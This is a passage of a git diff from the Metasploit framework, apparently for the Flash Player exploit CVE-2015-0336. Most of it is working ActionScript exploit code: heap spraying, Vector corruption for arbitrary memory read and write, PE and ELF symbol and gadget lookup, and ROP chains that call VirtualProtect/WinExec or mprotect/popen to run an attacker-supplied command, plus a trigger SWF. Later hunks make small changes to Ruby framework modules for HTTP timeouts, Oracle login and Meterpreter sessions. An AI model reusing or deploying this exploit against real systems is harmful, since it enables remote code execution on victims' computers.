Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux")
|
||||
do_rop_linux()
|
||||
else if (platform == "win")
|
||||
do_rop_windows()
|
||||
else
|
||||
return
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = pe.procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, winexec)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 8, 'r', true) // type
|
||||
eba.write(payload_address + 0xc, payload, true) // command
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
// Return to popen()
|
||||
eba.write(stack_address + 0x18068, popen)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// popen() argument
|
||||
eba.write(0, payload_address + 0xc)
|
||||
eba.write(0, payload_address + 8)
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,318 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Msf.as
|
||||
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.utils.*
|
||||
import flash.display.*
|
||||
import flash.system.*
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public final class Msf extends Sprite {
|
||||
private var interval_id:uint;
|
||||
|
||||
private var trigger_swf:String = ""
|
||||
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100)
|
||||
private var corrupted_index:uint = 0
|
||||
private var restore_required:Boolean = false
|
||||
|
||||
private var uv:Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
public function Msf() {
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 1024
|
||||
ba.writeUnsignedInt(0xdeedbeef)
|
||||
ba.position = 0
|
||||
|
||||
var i:uint = 0
|
||||
|
||||
while (i < 89698) {
|
||||
spray[i] = new Vector.<uint>(1014)
|
||||
spray[i][0] = 0xdeadbeef
|
||||
spray[i][1] = 0xdeedbeef
|
||||
spray[i][2] = i
|
||||
spray[i][29] = 0x1a1e1429
|
||||
i++
|
||||
}
|
||||
|
||||
for(i = 0; i < 89698; i = i + 1) {
|
||||
spray[i].length = 0x1e
|
||||
}
|
||||
|
||||
for(i = 0; i < 100; i = i + 1) {
|
||||
spray[i + 89698] = new Vector.<Object>(1014)
|
||||
spray[i + 89698][0] = ba
|
||||
spray[i + 89698][1] = this
|
||||
spray[i + 89698][2] = stack
|
||||
spray[i + 89698][3] = payload_space
|
||||
}
|
||||
|
||||
for(i = 0; i < 100; i = i + 1) {
|
||||
spray[i + 89698].length = 114
|
||||
}
|
||||
|
||||
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
|
||||
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
|
||||
trigger_byte_array.position = 0
|
||||
|
||||
// Trigger corruption
|
||||
var trigger_loader:Loader = new Loader();
|
||||
trigger_loader.loadBytes(trigger_byte_array);
|
||||
|
||||
interval_id = setTimeout(exploit, 2000)
|
||||
}
|
||||
|
||||
public function createByteArray(hex_string:String) : ByteArray {
|
||||
var byte:String = null;
|
||||
var byte_array:ByteArray = new ByteArray();
|
||||
var hex_string_length:uint = hex_string.length;
|
||||
var i:uint = 0;
|
||||
while(i < hex_string_length)
|
||||
{
|
||||
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
|
||||
byte_array.writeByte(parseInt(byte,16));
|
||||
i = i + 2;
|
||||
}
|
||||
return byte_array;
|
||||
}
|
||||
|
||||
public function exploit():void {
|
||||
clearTimeout(interval_id)
|
||||
|
||||
for(var i:uint = 0; i < spray.length; i = i + 1) {
|
||||
if (spray[i].length != 0x1e) {
|
||||
corrupted_index = corrupt_vector_uint(i)
|
||||
restore_required = true
|
||||
uv = spray[corrupted_index]
|
||||
uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-)
|
||||
control_execution()
|
||||
if (restore_required) {
|
||||
restore_vector_uint()
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// make it better, search and return error if it doesn't work :-)
|
||||
public function corrupt_vector_uint(index:uint):uint {
|
||||
spray[index][0x3fe] = 0xffffffff
|
||||
return spray[index][0x402]
|
||||
}
|
||||
|
||||
public function restore_vector_uint():void {
|
||||
var atom:uint = spray[corrupted_index][0x3fffffff]
|
||||
spray[corrupted_index][0x3ffffbff] = atom
|
||||
spray[corrupted_index][0x3ffffbfe] = 0x1e
|
||||
// Restore vector corrupted by hand
|
||||
spray[corrupted_index][0x3ffffffe] = 0x1e
|
||||
}
|
||||
|
||||
public function control_execution():void {
|
||||
// Use the corrupted Vector<uint> to search saved addresses
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
if (object_vector_pos == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
var byte_array_object:uint = uv[object_vector_pos] - 1
|
||||
var main:uint = uv[object_vector_pos + 1] - 1
|
||||
var stack_object:uint = uv[object_vector_pos + 2] - 1
|
||||
var payload_space_object:uint = uv[object_vector_pos + 3] - 1
|
||||
|
||||
// Use the corrupted Vector<uint> to disclose arbitrary memory
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it anymore
|
||||
restore_vector_uint()
|
||||
restore_required = false
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function search_object_vector():uint {
|
||||
var i:uint = 0;
|
||||
while (i < 89698 * 1024){
|
||||
if (uv[i] == 114) {
|
||||
return i + 1;
|
||||
}
|
||||
i++
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
|
||||
// Methods to use the corrupted uint vector
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,63 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
60
external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj
vendored
Executable file
60
external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj
vendored
Executable file
|
@ -0,0 +1,60 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<project version="2">
|
||||
<!-- Output SWF options -->
|
||||
<output>
|
||||
<movie outputType="Application" />
|
||||
<movie input="" />
|
||||
<movie path="trigger_linux.swf" />
|
||||
<movie fps="30" />
|
||||
<movie width="800" />
|
||||
<movie height="600" />
|
||||
<movie version="0" />
|
||||
<movie minorVersion="0" />
|
||||
<movie platform="Custom" />
|
||||
<movie background="#FFFFFF" />
|
||||
</output>
|
||||
<!-- Other classes to be compiled into your SWF -->
|
||||
<classpaths>
|
||||
<class path="src" />
|
||||
</classpaths>
|
||||
<!-- Build options -->
|
||||
<build>
|
||||
<option verbose="False" />
|
||||
<option strict="False" />
|
||||
<option infer="False" />
|
||||
<option useMain="True" />
|
||||
<option useMX="False" />
|
||||
<option warnUnusedImports="False" />
|
||||
<option traceMode="FlashConnectExtended" />
|
||||
<option traceFunction="" />
|
||||
<option libraryPrefix="" />
|
||||
<option excludeFile="" />
|
||||
<option groupClasses="False" />
|
||||
<option frame="1" />
|
||||
<option keep="True" />
|
||||
</build>
|
||||
<!-- Class files to compile (other referenced classes will automatically be included) -->
|
||||
<compileTargets>
|
||||
<compile path="src\Main.as" />
|
||||
</compileTargets>
|
||||
<!-- Assets to embed into the output SWF -->
|
||||
<library>
|
||||
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
|
||||
</library>
|
||||
<!-- Paths to exclude from the Project Explorer tree -->
|
||||
<hiddenPaths>
|
||||
<hidden path="obj" />
|
||||
</hiddenPaths>
|
||||
<!-- Executed before build -->
|
||||
<preBuildCommand />
|
||||
<!-- Executed after build -->
|
||||
<postBuildCommand alwaysRun="False" />
|
||||
<!-- Other project options -->
|
||||
<options>
|
||||
<option showHiddenPaths="False" />
|
||||
<option testMovie="Unknown" />
|
||||
<option testMovieCommand="" />
|
||||
</options>
|
||||
<!-- Plugin storage -->
|
||||
<storage />
|
||||
</project>
|
|
@ -0,0 +1,18 @@
|
|||
// Build with FlashDevelop, its command line is:
|
||||
// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library"
|
||||
class Main
|
||||
{
|
||||
public static function main(swfRoot:MovieClip):Void
|
||||
{
|
||||
var _loc2_ = _global.ASnative(2100, 0x956c2000);
|
||||
var _loc3_ = new Object();
|
||||
_loc2_.__proto__ = _loc3_;
|
||||
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
|
||||
_global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID
|
||||
}
|
||||
|
||||
public function Main()
|
||||
{
|
||||
}
|
||||
|
||||
}
|
|
@ -43,7 +43,10 @@ package
|
|||
|
||||
private function mainThread():void
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
ba.length = 0x1000
|
||||
ba.shareable = true
|
||||
|
|
|
@ -127,8 +127,8 @@ module Exploit::CmdStager
|
|||
|
||||
# Show the progress of the upload while cmd staging
|
||||
#
|
||||
# @param total [Float] The total number of bytes to send
|
||||
# @param sent [Float] The number of bytes sent
|
||||
# @param total [Float] The total number of bytes to send.
|
||||
# @param sent [Float] The number of bytes sent.
|
||||
# @return [void]
|
||||
def progress(total, sent)
|
||||
done = (sent.to_f / total.to_f) * 100
|
||||
|
@ -308,9 +308,10 @@ module Exploit::CmdStager
|
|||
def execute_cmdstager_end(opts)
|
||||
end
|
||||
|
||||
# Code to execute each command from the. This method is designed to be
|
||||
# overriden by a module using this mixin.
|
||||
# Code called to execute each command via an arbitrary module-defined vector.
|
||||
# This method needs to be overriden by modules using this mixin.
|
||||
#
|
||||
# @param cmd [String] The command to execute.
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
def execute_command(cmd, opts)
|
||||
raise NotImplementedError
|
||||
|
|
|
@ -47,12 +47,13 @@ module Exploit::Remote::HttpClient
|
|||
Rex::Proto::Http::Client::DefaultUserAgent
|
||||
]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
|
||||
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
|
||||
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION'])
|
||||
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
|
||||
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -307,10 +308,11 @@ module Exploit::Remote::HttpClient
|
|||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
|
||||
#
|
||||
def send_request_raw(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_raw(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
nil
|
||||
end
|
||||
|
@ -323,10 +325,11 @@ module Exploit::Remote::HttpClient
|
|||
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
|
||||
#
|
||||
def send_request_cgi(opts={}, timeout = 20)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
begin
|
||||
c = connect(opts)
|
||||
r = c.request_cgi(opts)
|
||||
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
|
||||
c.send_recv(r, actual_timeout)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
nil
|
||||
end
|
||||
|
@ -341,7 +344,8 @@ module Exploit::Remote::HttpClient
|
|||
# will contain the full URI.
|
||||
#
|
||||
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
|
||||
res = send_request_cgi(opts, timeout)
|
||||
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
|
||||
res = send_request_cgi(opts, actual_timeout)
|
||||
return res unless res && res.redirect? && redirect_depth > 0
|
||||
|
||||
redirect_depth -= 1
|
||||
|
@ -360,7 +364,7 @@ module Exploit::Remote::HttpClient
|
|||
opts['ssl'] = false
|
||||
end
|
||||
|
||||
send_request_cgi!(opts, timeout, redirect_depth)
|
||||
send_request_cgi!(opts, actual_timeout, redirect_depth)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -52,18 +52,30 @@ module Exploit::ORACLE
|
|||
end
|
||||
|
||||
def connect
|
||||
handle = nil
|
||||
|
||||
if(not @oci8_loaded)
|
||||
raise RuntimeError, "Could not load the Oracle driver (oci8): #{@oci8_error}"
|
||||
end
|
||||
|
||||
# Create a Connection to the Database
|
||||
if datastore['DBUSER'] == 'SYS' || datastore['DBUSER'] == 'SYSTEM'
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
|
||||
:SYSDBA
|
||||
)
|
||||
begin
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
|
||||
:SYSDBA
|
||||
)
|
||||
rescue ::OCIError
|
||||
# Try again without a request for SYSDBA
|
||||
vprint_status('Insufficient privileges, trying without SYSDBA')
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
datastore['DBPASS'],
|
||||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
|
||||
)
|
||||
end
|
||||
else
|
||||
handle = OCI8.new(
|
||||
datastore['DBUSER'],
|
||||
|
@ -71,7 +83,7 @@ module Exploit::ORACLE
|
|||
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
|
||||
)
|
||||
end
|
||||
|
||||
handle
|
||||
end
|
||||
|
||||
def disconnect
|
||||
|
|
|
@ -395,6 +395,38 @@ class RPC_Session < RPC_Base
|
|||
rpc_meterpreter_run_single( sid, "run #{data}")
|
||||
end
|
||||
|
||||
# Changes the Transport of a given Meterpreter Session
|
||||
#
|
||||
# @param sid [Fixnum] The Session ID of the `Msf::Session`
|
||||
# @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc)
|
||||
# @option opts [String] :lhost The LHOST of the listener to use
|
||||
